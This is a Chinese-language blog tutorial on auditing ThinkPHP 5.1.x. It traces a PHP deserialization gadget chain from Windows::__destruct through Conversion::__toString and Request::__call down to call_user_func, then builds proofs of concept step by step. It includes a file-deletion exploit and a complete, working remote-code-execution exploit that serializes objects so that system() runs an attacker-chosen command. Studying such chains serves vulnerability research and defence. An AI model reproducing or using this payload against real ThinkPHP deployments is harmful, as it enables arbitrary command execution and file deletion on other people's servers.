ThinkPHP审计(2) Thinkphp反序列化链5.1.X原理分析从0编写POC

ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC

文章目录

  • ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
  • 动态调试环境配置
  • Thinkphp反序列化链5.1.X原理分析
    • 一.实现任意文件删除
    • 二.实现任意命令执行
      • 真正的难点
  • Thinkphp反序列化链5.1.x 编写 Poc
  • 汇总POC

动态调试环境配置

比较简洁的环境配置教程:
https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/

Thinkphp反序列化链5.1.X原理分析

原理分析仅仅是遵循前辈的已有的道路,而不是完全探究每一种链子所带来的情况和可能性

前提:存在反序列化的入口

  1. unserialize()
  2. phar反序列化
  3. session反序列化

__destruct/__wakeup可以作为PHP反序列链的入口
这里简单介绍一下__destruct垃圾回收机制与生命周期的含义
__destruct可以理解为PHP的垃圾回收机制,是每次对象执行结束后必须执行的内容,但是执行的先后顺序往往和反序列化的生命周期有关

例如:

<?php
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁*/function __destruct(){echo "__destruct 类执行完毕"."<br>";}
}
$test = new test("test",18, 'Test String');
echo '第二种执行完毕'.'<br>';?>

image-20240406220859479

这里$test = new test("test",18, 'Test String');

对象被赋值给了$test变量,而不是直接的new test("test",18, 'Test String'); 传递给对象延长了对象的生命周期

所以是在echo '第二种执行完毕'.'<br>';执行后才执行了__destruct内容

类似的比如快速销毁(Fast-destruct)

<?php
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁*/function __destruct(){echo "__destruct 类执行完毕"."<br>";}
}//主动销毁
$test = new Test("test",18, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';?>

image-20240406222646374

这里直接__construct后执行__destruct

因为unset — 清除指定变量直接销毁储存对象的变量,达到快速垃圾回收的目的

现在开始分析链子 Windows 类中__destruct执行了自身的removeFiles()方法

image-20240406223848195

跟进removeFiles

    private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

image-20240406224229041

发现遍历$this->files,而且$this->files可控,作为数组传递

一.实现任意文件删除

@unlink($filename);删除了传递的filename

简单编写poc

<?php
namespace think\process\pipes;use think\Process;
class Pipes{};class Windows extends Pipes
{private $files = ["D:\\flag.txt"];}
$windows=new Windows();
echo(base64_encode(serialize($windows)));
?>

可以实现任意文件的的删除

image-20240406224903636

二.实现任意命令执行

除了任意文件删除,危害还可以更大吗?

通过POP链可以实现任意命令执行

image-20240406165716844

全局逻辑图

image-20240406165638396

    private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

file_exists函数用于判断文件是否存在

预期传入 String $filename但是如果我们控制$filename作为一个对象,就可以隐形的调用类的__toString()方法

image-20240406225107568

thinkphp/library/think/model/concern/Conversion.php

public function __toString(){return $this->toJson();}
  public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}
public function toArray(){$item       = [];$hasVisible = false;foreach ($this->visible as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {list($relation, $name)      = explode('.', $val);$this->visible[$relation][] = $name;} else {$this->visible[$val] = true;$hasVisible          = true;}unset($this->visible[$key]);}}foreach ($this->hidden as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {list($relation, $name)     = explode('.', $val);$this->hidden[$relation][] = $name;} else {$this->hidden[$val] = true;}unset($this->hidden[$key]);}}// 合并关联数据$data = array_merge($this->data, $this->relation);foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象if (isset($this->visible[$key]) && is_array($this->visible[$key])) {$val->visible($this->visible[$key]);} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {$val->hidden($this->hidden[$key]);}// 关联模型对象if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {$item[$key] = $val->toArray();}} elseif (isset($this->visible[$key])) {$item[$key] = $this->getAttr($key);} elseif (!isset($this->hidden[$key]) && !$hasVisible) {$item[$key] = $this->getAttr($key);}}// 追加属性(必须定义获取器)if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}$item[$key] = $relation ? $relation->append($name)->toArray() : [];} elseif (strpos($name, '.')) {list($key, $attr) = explode('.', $name);// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible([$attr]);}}$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];} else {$item[$name] = $this->getAttr($name, $item);}}}return $item;}

关键的几个判断和赋值

public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}
 if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut{try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}
public function getData($name = null)//$name = $key =peanut{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

$relation->visible($name);$relation可控,可以实现任意类的visible方法,如果visible方法不存在,就会调用这个类的__call方法

如何达到$relation->visible($name); 触发点 访问

        if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入
  1. 保证$this->append不为空
  2. $this->append 数组的值$name为数组 也就是二维数组

比如传入append:["peanut"=>["whoami"]]

接着向下走

$relation = $this->getRelation($key);if (!$relation) {
public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}

不会进入if/elseif中 直接return;回来 为null

if (!$relation)为空进入判断

 $relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut{try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}

进入$this->getData

public function getData($name = null)//$name = $key =peanut{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

判断了$this->data传递的键存在,如果存在,返回其数组对应的键值

比如可以控制$this->data = ['peanut'=>new request()]

 $relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}

$relation->visible($name);$relation可控为任意类

现在寻找调用__call的类

thinkphp/library/think/Request.php

  public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);}

这里存在敏感关键函数call_user_func_array

__call($method, $args)接受的参数`

$method固定是visible

$args是传递过来的$name

 if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);

可以控制$this->hook['visible']为任意值,可以控制函数名

call_user_func()的利用方式无非两种

__call_user_func($method, $args) __

call_user_func_array([ o b j , obj, obj,method], $args)

如果执行第一种方式call_user_func($method, $args)

但是这里array_unshift($args, $this); 参数插入$this作为第一个值

image-20240407001625248

参数是不能被正常命令识别的,不能直接RCE

那我们最终的利用点可以肯定并不是这里

如果选择第二种方式

call_user_func_array([$obj,$method], $args)

**通过调用 任意类 的 任意方法 **,可供选择的可能性更多

call_user_func_array([ o b j , " 任 意 方 法 " ] , [ obj,"任意方法"],[ obj,""],[this,任意参数])

也就是 o b j − > obj-> obj>func( t h i s , this, this,argv)

真正的难点

曲线救国的策略

难点理解:

__call魔术方法受到array_unshift无法可控触发call_user_func_array

利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func

为什么这里选RequestisAjax方法 接着POP链的调用了?

为什么当时的链子发现的作者会想到通过isAjax接着执行命令?

网上文章千篇一律,无非就是拿个poc动态调试,粘贴个poc就完了

Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推

开发者不会傻乎乎写个system,shell_exec,exec等系统函数给你利用的可能

而我们又希望最终实现RCE的效果

我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令

比如call_user_func,call_user_func_array,array_map,array_filter...

thinkphp/library/think/Request.php

private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);

$filter , $value 可控

通过传递 $filter , $value实现任意命令执行

那么什么地方调用了filterValue?回溯调用filterValue的地方

image-20240407141514973

thinkphp/library/think/Request.phpinput调用

$this->filterValue($data, $name, $filter);

public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter); //调用点}

input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

什么地方又调用了input函数? Request类中的param函数

image-20240407141815137

public function param($name = '', $default = null, $filter = ''){if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}

什么地方又调用了param函数?

image-20240407142005524

是在thinkphp/library/think/Request.phpisAjax方法调用

public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

我们可以控制$this->config['var_ajax']为任意值

通过 call_user_func(['object','method',['$this','args']]);

实现 跳转 Request类的isAjax方法

image-20240406165638396

至此实现整个链路的闭合

Thinkphp反序列化链5.1.x 编写 Poc

image-20240407143848950

我们开始编写Poc时可以以魔术方法作为每个部分的 分界点

因为魔术方法的实现 往往时 跨类

注意声明一下 命名空间

image-20240407144240558

image-20240407150126056

//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}

实现触发 new Pivot(任意类)的__toString魔术方法

触发thinkphp/library/think/model/concern/Conversion.php

image-20240407144729146

注意一下这里是trait Conversion

PHP 实现了一种代码复用的方法,称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。

__toString->toJson->toArray->visible->

if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}

保证几个条件

  1. $this->append有值
  2. $this->append的键对应的值为数组
  3. $this->data存在同名key,value的值就就是 跳转的任意类的visible方法

image-20240407150142185

//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}

可以实现跳转到Request类的_call方法

    public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}

image-20240407150244868

接下来进行跳转 call_user_func_array([new Request(),"isAjax"], $args)

$method一定是visible

因此可以控制$this->hook=['visible'=>[$this,'isAjax']];

跳转 Request类的isAjax方法

public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

控制$this->config['var_ajax'])存在即可

调用$this->param函数

public function param($name = '', $default = null, $filter = ''){if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}

这里直接初始化

$name = '', $default = null, $filter = ''

不进入第一个if判断

if (!$this->mergeParam)

控制protected $mergeParam = true;

其他条件无论执行与否,最后

return $this->input($this->param, $name, $default, $filter);

进入input函数

 public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);

初始化默认$data = [], $name = '', $default = null, $filter = ''

一定会进入$this->filterValue($data, $name, $filter);

调用函数filterValue

    private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);

控制$filter作为系统命令

protected $filter;
$this->filter=['system'];

filterValue.value的值为第一个通过GET请求的值

可以控制&$value的值作为命令的参数

protected $param = ['calc'];
//protected $param = 'calc'也可以,走另一条执行路径

综合一下

image-20240407150244868

//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax'         => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}

汇总POC

<?php//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax'         => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}echo base64_encode(serialize(new Windows()));
//按实际情况来决定如何处理序列化数据

image-20240407155602078

可以成功执行系统命令

本次链子涉及三个关键类

  1. Windows
  2. Conversion
  3. Request

可以浅浅记一下
可以调试看看具体的值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/599956.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件测试_黑盒测试_等价类划分法

黑盒测试 等价类划分法 等价类划分法 一个程序可以有多个输入&#xff0c;等价类划分就是将这些输入数据按照输入需求进行分类&#xff0c;将它们划分为若干个子集&#xff0c;这些子集即为等价类&#xff0c;在每个等价类中选择有代表性的数据设计测试用例。 有效等价类&a…

什么是MQ ?为什么用MQ?

什么是MQ&#xff1f; MQ(message queue)&#xff08;消息队列&#xff09;&#xff0c;从字面意思上看&#xff0c;本质是个队列&#xff0c;FIFO先入先出&#xff0c;只不过队列中存放的内容是message而已&#xff0c;还是一种跨进程的通信机制&#xff0c;用于上下游传递消息…

2024/4/1—力扣—按摩师

代码实现&#xff1a; 思路&#xff1a;打家劫舍题 int massage(int *nums, int numsSize) {if (nums NULL || numsSize 0) {return 0;}if (numsSize 1) {return nums[0];}int dp[numsSize];memset(dp, 0, sizeof(dp));dp[0] nums[0];dp[1] (nums[0] < nums[1] ? nums…

Redis常见的一些问题和注意事项

本文汇总的都是在我们公司出现过的常见问题以及自己曾经记录的注意事项。 我们公司sentinel模式以及RedisCluster集群两种部署方式都有使用&#xff0c;下面问题有些可能是哨兵模式下存在的&#xff0c;比如批量操作&#xff0c;下面可能不会特别说明。 1、注意热点key 之前单位…

Nifi同步过程中报错create_time字段找不到_实际目标表和源表中没有这个字段---大数据之Nifi工作笔记0066

很奇怪的问题,在使用nifi的时候碰到的,这里是用NIFI,把数据从postgresql中同步到mysql中, 首先postgresql中的源表,中是没有create_time这个字段的,但是同步的过程中报错了. 报错的内容是说,目标表中有个create_time字段,这个字段是必填的,但是传过来的flowfile文件中,的数据没…

轻松驾驭工作流:低代码开发平台一键回退,流程错误无处遁形

流程回退规则配置 说明 通常业务场景&#xff0c;当我们流程节点开启回退功能后&#xff0c;可根据业务需求设置不同节点自定义回退到哪一节点。如某一节点审批人可以直接退到发起人节点&#xff0c;另外节点审批人又可以回退到另外节点或者是范围内等等&#xff0c;这些都是…

001集——在线网络学习快速完成——16倍速度

在线网络学习快进方法如下&#xff1a; 电脑下载 Microsoft edge 浏览器&#xff0c;有的电脑是自带的 1、点击右上角… 2、点击"扩展" 3、点击"管理扩展" 4、点击"获取 Microsoft edge 扩展" 5、搜索框里搜" global " 6、获取"…

基于SpringBoot+uniapp的兼职众包系统小程序众包软件源码

项目背景 在数字化浪潮的推动下&#xff0c;兼职众包行业正在迅速崛起&#xff0c;成为灵活就业市场的新宠。兼职众包系统软件与平台以其高效、便捷的特点&#xff0c;吸引了越来越多的用户和企业。在数字化时代&#xff0c;兼职众包平台作为连接灵活劳动力与需求方的桥梁&…

【电路笔记】-逻辑非门

逻辑非门 文章目录 逻辑非门1、概述2、晶体管逻辑非门3、六角施密特反相器逻辑非门是所有逻辑门中最基本的,通常称为反相缓冲器或简称为反相器。 1、概述 反相非门是单输入器件,其输出电平通常为逻辑电平“1”,当其单个输入为逻辑电平“1”时,输出电平变为“低”至逻辑电平…

微软文本转语音和语音转文本功能更新,效果显著!

今天我要和大家分享一个新功能更新——微软的文本转语音和语音转文本功能。最近&#xff0c;微软对其AI语音识别和语音合成技术进行了重大升级&#xff0c;效果非常好&#xff0c;现在我将分别为大家介绍这两个功能。 先来听下这个效果吧 微软文本转语音和语音转文本功能更新 …

Vscode连接WSL2当中的jupyter

主要解决办法参考自这篇博客 1. 在WSL当中安装jupyter 这个随便找一篇博客即可&#xff0c;比如这篇&#xff0c;也可以根据现有的环境参考其它博客内容 2. 使用jupyter创建一个虚拟环境 首先激活想要添加的虚拟环境后&#xff0c;输入命令安装库: pip install ipykernel …

JavaScript - 你知道Ajax的原理吗?如何封装一个Ajax

难度级别:中高级及以上 提问概率:75% 想要实现Ajax,就需要创建它的核心通信对象XMLHttpRequest,通过核心对象的open方法与服务端建立连接,核心对象的send方法可以将请求所需数据发送给服务端,服务端接收到请求并做出响应,我们通过核心对象…